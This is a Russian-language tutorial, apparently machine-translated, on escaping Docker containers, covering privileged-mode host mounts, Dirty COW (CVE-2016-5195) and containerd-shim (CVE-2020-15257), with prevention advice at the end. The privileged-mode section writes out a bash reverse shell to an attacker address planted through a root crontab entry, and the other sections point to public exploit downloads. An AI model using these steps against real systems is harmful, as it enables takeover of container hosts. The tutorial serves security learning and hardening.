Part01 Краткое введение в побег из докер-контейнера
Что такое докер?
Docker — это механизм контейнера приложений с открытым исходным кодом, который позволяет разработчикам упаковывать свои приложения и зависимости в переносимый образ, а затем публиковать его на любом популярном компьютере с операционной системой Linux или Windows, который также можно виртуализировать. Контейнеры полностью используют механизм песочницы и не будут иметь никаких интерфейсов друг с другом.
Что такое побег из контейнера Docker?
Выход из контейнера Docker означает, что злоумышленник получил возможность выполнения команд с определенными разрешениями в контейнере путем перехвата контейнерной бизнес-логики или прямого управления. Злоумышленник использует эту возможность выполнения команд и использует некоторые средства для получения возможности выполнения команд в контейнере; определенные разрешения на непосредственном хост-компьютере, на котором он расположен.
Поскольку Docker использует технологию изоляции, процесс внутри контейнера не может видеть внешний процесс, но внешний процесс может видеть внутри. Поэтому, если контейнер может получить доступ к внешним ресурсам, он может даже получить доступ к хосту-разрешению, это называется. «Побег Докера».
Как определить, является ли текущий компьютер средой контейнера Docker?
1. Если в корневом каталоге есть файл .dockerenv, это означает, что он находится в докер-контейнере. лс -ал/
2. Проверьте, содержит ли /proc/1/cgroup строку докера.
Запросите информацию о контрольной группе системного процесса. Если поле докера существует, оно находится в контейнере докера.
Часть02 Распространенные методы эвакуации
1. Неправильная конфигурация, например: включение привилегированного режима (привилегированного), монтирование Docker Socket для выхода, монтирование хоста procfs для выхода, несанкционированный доступ Docker Remote API для выхода;
2. Проблемы уязвимости ядра в самой системе, например CVE-2016-5195 (dirtycow-docker-vdso).
3. Программное обеспечение Docker спроектировано неправильно, например: CVE-2019-5736 (runc escape), CVE-2020-15257 (DockerContainerd), CVE-2019-14271 (дефект CP);
Part03 Повторение распространенных уязвимостей побега
3.1 Неправильная конфигурация
3.1.1 Включить привилегированный режим (привилегированный)
1. Описание уязвимости
При работе и обслуживании контейнера, запущенного в привилегированном режиме (docker run --privileged), Docker позволит контейнеру получить доступ ко всем устройствам на хосте (получить доступ к большому количеству файлов устройств), так что контейнер будет иметь те же права как и те процессы, которые работают непосредственно на хосте. Почти такой же доступ.
Таким образом, администратор Docker может подключить внешнее дисковое устройство хоста к контейнеру с помощью команды mount, чтобы получить разрешения на чтение и запись файлов для всего хоста. Затем администратор Docker может напрямую переключить корневой каталог, записать открытый ключ ssh и crontab. метод запланированной задачи через chroot. Переход на хост-компьютер.
2. Проверка уязвимостей
Определите, запускается ли он в привилегированном режиме. Если он запускается в привилегированном режиме, значение маски, соответствующее CapEff, должно быть 0000003ffffffffff.
cat /proc/self/status |grep Cap
3. Эксплуатация уязвимостей
Используйте привилегированный режим для запуска докера образа: выполните -itd --privileged ubuntu:16.04 /bin/bash
Найдите каталог в докер-контейнере и создайте новую папку, а затем смонтируйте корневой каталог хоста в текущий каталог (если здесь нет привилегированного пользователя, но докер-контейнер настроен неправильно — опасное монтирование представляет собой тот же риск . можно использовать таким же образом).
Посмотреть все содержимое разделов и рабочие разделы текущего устройства: fdisk -l (если его нельзя использовать в непривилегированном режиме, информацию о диске можно получить через df -h)
Подключите /dev/sda1 к вновь созданной папке. На данный момент мы можем получить все папки хоста и можем читать и изменять файлы хоста по своему желанию. Каталог монтирования:
Сначала используйте nc-мониторинг в Kali, войдите в каталог хакера, создайте sh-файл через Touch, затем пропишите команду bash rebound в созданный sh-файл, а затем запишите запланированное задание в файл /hacker/etc/crontab.
echo "bash -i >& /dev/tcp/192.168.59.145/6666 0>&1" >/hacker/hacker.sh
echo "* * * * * root bash /hacker.sh" >> /hacker/etc/crontab (выполняется раз в минуту)
Вернитесь в Kali, чтобы проверить, успешно ли получена оболочка.
3.2 Уязвимость ядра самой системы
3.2.1CVE-2016-5195 (грязная коровагрязная корова-докер-vdso)
1. Описание уязвимости
Dirty Cow (CVE-2016-5195) — это уязвимость, связанная с повышением привилегий в ядре Linux. Она возникает из-за состояния гонки в подсистеме памяти ядра Linux при обработке операций записи, что позволяет злоумышленникам повышать привилегии и получать доступ для записи к другим операциям чтения. -только карты памяти. Когда процесс пытается выполнить запись на страницу, доступную только для чтения, ядру необходимо скопировать страницу в новое пространство памяти и сделать ее доступной для записи, чтобы процесс мог продолжить запись.
2. Проверка уязвимостей
LinuxЯдро>= 2.6.22 (выпущена в 2007 г., не исправлена до 18 октября 2016 г.)
Ниже приведены исправленные версии ядра основных дистрибутивов. Если версия ниже следующей, это означает, что существует риск (в основном Linux 2007–2016 годов).
uname -a
3. Эксплуатация уязвимостей
Возьмите образ ubuntu14.04, версия ядра 4.4.0-31-generic.
Введите образ для установки и загрузки соответствующей среды.
Создайтеdirtycow-vdsoфайл и поместите соответствующийexpСкачать в файл(https://github.com/scumjr/dirtycow-vdso)
Войдите в каталоггрязная корова-vdso и скомпилируйте
nc отслеживает и выполняет скомпилированные файлы
Оболочка восстановления успешно завершена
3.3Программное обеспечение Docker спроектировано неправильно
3.3.1 CVE-2020-15257(DockerContainerd)
1. Описание уязвимости
Containerd — это демон, который управляет runC и предоставляет клиент командной строки и API для управления контейнерами на машине. При определенных условиях сети злоумышленник может получить доступ кContainerd-shimAPI, чтобы выйти из контейнера Docker.
Проще говоря: запуск Docker-контейнера с параметром --net=host откроет доступ к сокету домена Unix, контролируемому контейнером-прокладкой. Некоторые версии Containerd не имеют контроля разрешений и могут обеспечивать повышение привилегий.
2. Проверка уязвимостей
containerd < 1.3.9
containerd < 1.4.3
Как определить, находится ли текущий контейнер под угрозой, когда мы находимся внутри докера?
Можно ли получить сокет домена Unix, контролируемый контейнером-прокладкой:
cat /proc/net/unix|grep -a "containerd-shim"
3. Эксплуатация уязвимостей
Запустите контейнер с --net=host
Загрузите exp напрямую и разархивируйте его.
https://github.com/Xyntax/CDK/releases/download/0.1.6/cdk_v0.1.6_release.tar.gz
Включите мониторинг в Kali и выполните exp.
Оболочка успешно получена
Part04 Как предотвратить побег докера
1. Избегайте использования привилегированного режима для запуска контейнера или ограничьте минимальные разрешения, необходимые для контейнера;
2. Избегайте монтирования конфиденциальных файлов или каталогов на хосте в контейнер или монтируйте их в режиме только для чтения;
3. Избегайте монтирования файлов Docker Socket внутри контейнера или использования TLS для шифрования связи;
4. Своевременно обновлять версии Docker и связанных с ним компонентов и устранять известные уязвимости;
5. Используйте инструменты сканирования безопасности для обнаружения и анализа образов контейнеров и сред выполнения;
6. Используйте политики безопасности и инструменты мониторинга для управления и защиты жизненного цикла контейнера.